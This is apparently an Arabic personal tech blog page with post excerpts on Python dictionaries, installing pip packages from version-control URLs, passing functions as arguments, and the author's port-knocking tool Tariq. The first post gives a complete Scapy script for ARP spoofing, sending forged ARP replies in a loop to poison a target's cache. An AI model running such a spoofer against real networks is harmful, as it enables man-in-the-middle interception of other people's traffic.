سكربت بسيط لعمل ARP Spoofing

سكربت بسيط لعمل ARP Spoofing … قم بنسخ الكود وتشغيله او تحميله من صفحة المشاريع (هنا) …

#!/usr/bin/env python
import sys, time
from scapy.all import sendp, ARP, Ether

if len (sys.argv) < 4:
	print "Usage\n:"
	print sys.argv[0] + "   "
	print "./arpSpoofer.py eth0 192.168.1.56 192.168.1.100"	
	sys.exit (1)

networkInterface = str(sys.argv[1])
targetIPAddr = sys.argv[2]
spoofedIPAddr = sys.argv[3]

# Assembling the Spoofed Packet
spoofedPacket = Ether() / ARP(pdst=targetIPAddr, psrc=spoofedIPAddr, op="is-at")

# Start Spoofing (aka Poisoning) :)
while True:
	sendp(spoofedPacket, iface=networkInterface)
	time.sleep (1)

المزيد من التجارب في الطريق إن شاء الله :)

التعامل مع Dictionary في لغة Python

لا اعلم لماذا أنسى طريقة إستعمال الـ Dictionary في لغة Python … كل فترة وآخرى أقوم ببعض الأشياء الخاطئة … نعم أنا لست مبرمج حالياً، وكذلك لا استعمل اللغة كثيراً وإنما حسب الحاجة، لكن أعتقد إني سأقوم بتدوين كل ما يخص هذه اللغة من باب أن أحاول الحفظ لهذه الأمور، وكذلك لكي يصبح مرجع لي عند الحاجة … طبعاً ومرجع لجميع زوار الموقع ولأني أنوي ترك مثل هذه التدوينات بالتحديد مفتوحة للجميع للمشاركة، وكذلك لكي نتعلم من بعضنا الآخر … على بركة الله …

لعمل Dictionary في لغة Python، كل ما علينا حفظه هو القاعدة التالية:

mydict = {'key':'value'}

حيث mydict هو المتغيير الذي سيكون نوعه Dictionary وkey هو المفتاح لقيمة معينة بداخل هذا الفهرس، وبدون شك value هي القيمة لذلك المفتاح … لنأخذ أمثلة الآن:

لعمل Dictionary او فهرس فارغ:

>>> mydict = {}

أو يمكننا إستعمال النوع أو الشيء (لست متأكد عربياً ماذا يسمى الـ Object ولهذا أتمنى فهمه كما هو حالياً) dict لعمل واحد، كما في الأسفل:

>>> mydict = dict()

Continue reading

Installing Python Packages from a URL using PIP

بعض الأحيان لربما تحتاج الى تنصيب مكتبة من مكتبات Python ولكن ليست موجودة في PyPI أو إن الموجود هناك في المكتبة لا يعمل أو قديم لم يتم تحديثه الى آخره من الأسباب … كل ما عليك فعله هو أن تحدد نوع الـ version control system الذي تستعمله تلك المكتبة … مثلاً مكتبة Scapy تستعمل Mercurial ولهذا لتنصيب مكتبة Scapy بواسطة pip يمكنك عمل التالي:

pip install hg+http://hg.secdev.org/scapy

ملاحظة: إذا ظهر لك خطأ بإنه لا يستطيع التعرف على الخيار hg؟ فكل ما عليك فعله هو تنصيب Mercurial

في حالة كنت تقوم بالتنصيب من Version Control مثل GIT أو SVN أو Bazaar فكل ما عليك فعله هو إستعمال المتغييرات المناسبة وهي كالتالي:

svn+URL, git+URL, hg+URL or bzr+URL

وأظن واضحة كل واحدة تعني ماذا … وقبل أن أنسى: عليكم بالـ virtualenv :)

للنقاش

تمرير دالة ذات متغييرات الى دالة أخرى في Python

أحتجت قبل فترة الى تمرير دالة ذات متغييرات الى دالة أخرى عند عمل Call لها في لغة بايثون وبالبداية لم أصل الى نتيجة بسبب إنني كنت أرسل المتغييرات التابعة للدالة التي أريد إرسالها للدالة الأخرى بشكل خاطيء … يعني لنفرض لدي الدوال التالية:


>>> def Caller(func):
...     func()
... 

بعد ذلك عرفنا دالة أخرى:

>>> def customTax(price, tax=0.16):
...     return price + (price * tax)
... 

Continue reading

Securing a Linux Box with Tariq

وصلتني إستفسارات عدة بخصوص طريقة تركيب وتشغيل طارق Tariq ويبدو إنه هناك لبس بسيط في طريقة عمل البرنامج ولهذا لم يعرف الجميع كيفية تشغيله … سأشرح في هذا الموضوع طريقة تركيب Tariq وكيفية الإستفادة منه … الشرح الذي في هذا الموضوع تم تطبيقه على توزيعة Debian الأخيرة (Debian 6 – Squeeze) … سأقوم بشرح الأمور البسيطة التي في طارق وبعدها نتوسع في مواضيع أخرى لأني أنوي ترقيته والتعديل على بعض الأمور فيه …

قبل أن أشرح طريقة إستخدام طارق (Tariq) … أود أن أشرح بشكل مبسط جداً طريقة عمله الهيكلية أو التقنية … أولاً طارق (Tariq) عبارة عن نظام لعمل الـ Port Knocking وأمور أخرى أكثر تقدماً من مجرد كونه طارق على المنافذ والتي نعرفها في التقنيات الموجودة حالياً، وسأوضح ذلك في مواضيع أخرى إن شاء الله … طريقة عمل طارق (Tariq) هي من خلال إعطائك أمر له ليقوم بتنفيذه … يأخذ هذا الأمر ويقوم بتشفيره بواسطة مفتاح العميل ومن ثم يقوم بإخفاءه بداخل صورة معينة … بعد ذلك يتم إرسال هذه الصورة مُجزئة على أجزاء بسيطة بداخل عدد الدقات التي ستقوم بها … طبعاً يفضل أن لا تكون الصورة كبيرة الحجم، وذلك لأنك وقتها ستحتاج الى وقت أكثر لترسل التعليمة المراد تنفيذها، وكذلك ستحتاج الى إما زيادة عدد الدقات، أو الى إرسال حٌزم كبيرة الحجم وذلك بحكم تقسيم الصورة على الحزم المرسلة … هذه العملية الى الآن تمت على العميل … حين يستلم طارق (Tariq) الدقات يراعي إنها أولاً تحمل بيانات ومن ثم يراعي إنها جائت وفق دقات معينة تم الإتفاق عليها وكذلك بالترتيب الذي تم الإتفاق عليه … الى هنا طارق لم يحلل ما في داخل الحزم المرسلة … بعد ذلك يعيد إرسال لنسميه تأكيد الى العميل، والتأكيد عبارة عن رقم عشوائي … هذا الرقم العشوائي يكون مُشفر بواسطة مفتاح عميل طارق العام ويُرسل بواسطة حٌزمة Packet الى العميل مرة أخرى لكي يقوم العميل بإثبات إن هذا الأمر فعلاً هو من قام بإرسالها له … العميل يستلم الحزمة، وكونها مٌشفرة بمفتاحه العام يقوم بفكها ثم يقوم بإرسال هذا الرقم مرة أخرى الى الخادم ليؤكد إنه نعم أنا صاحب الطلب والرجاء تنفيذ طلبي … هكذا تمت عملية الـ Mutual Authentication أو البعض يسميها 2Way Authentication … إذا تحقق كل هذا، يقوم طارق بتجميع الحزم وإستخراج الصورة منها … ثم يستخرج النص أو الأوامر المطلوبة منه تنفيذها من خلال فك تشفير النص المخفي بداخل الصورة بإستعمال المفتاح العام للعميل … هذا بإختصار شديد آلية عمل طارق … والكود المصدري للنظام موجود بإمكانكم تحميله والإطلاع عليه وتعديله أو العمل معي على تحسينه حسب ما ترونه … بالنهاية هو مفتوح المصدر ويخضع لرخصة GPL … وكذلك هو منشور في موقع Port Knocking الرسمي ضمن قائمة التطبيقات التي تمت في هذا المجال … هذا النظام سيفيدك في فتح المنافذ وغلقها وتنفيذ الأوامر والعمليات التي تحتاجها بدون أن تقوم بفتح الخدمة للجميع … يرجى مراجعة أنظمة Port Knocking وما هي فائدتها بهذا الخصوص أو للإستفادة أكثر …

الآن ندخل في عملية إستعمال طارق (Tariq) وقبل كل شيء ستحتاج عزيزي القاريء الى تركيب الحزم التي بالأسفل سواء للخادم أو للعميل … وعملية تركيبهم على دبيان وباقي التوزيعات اليوم أصبحت جداً بسيطة:

* Python >= 2.6
* python-imaging  - Python Imaging Library (PIL)
* GnuGP
* Scapy
* نواة حديثة تستخدم iptables مثال على ذلك هو نواة (2.6)

Continue reading

Pages: 1 2 Next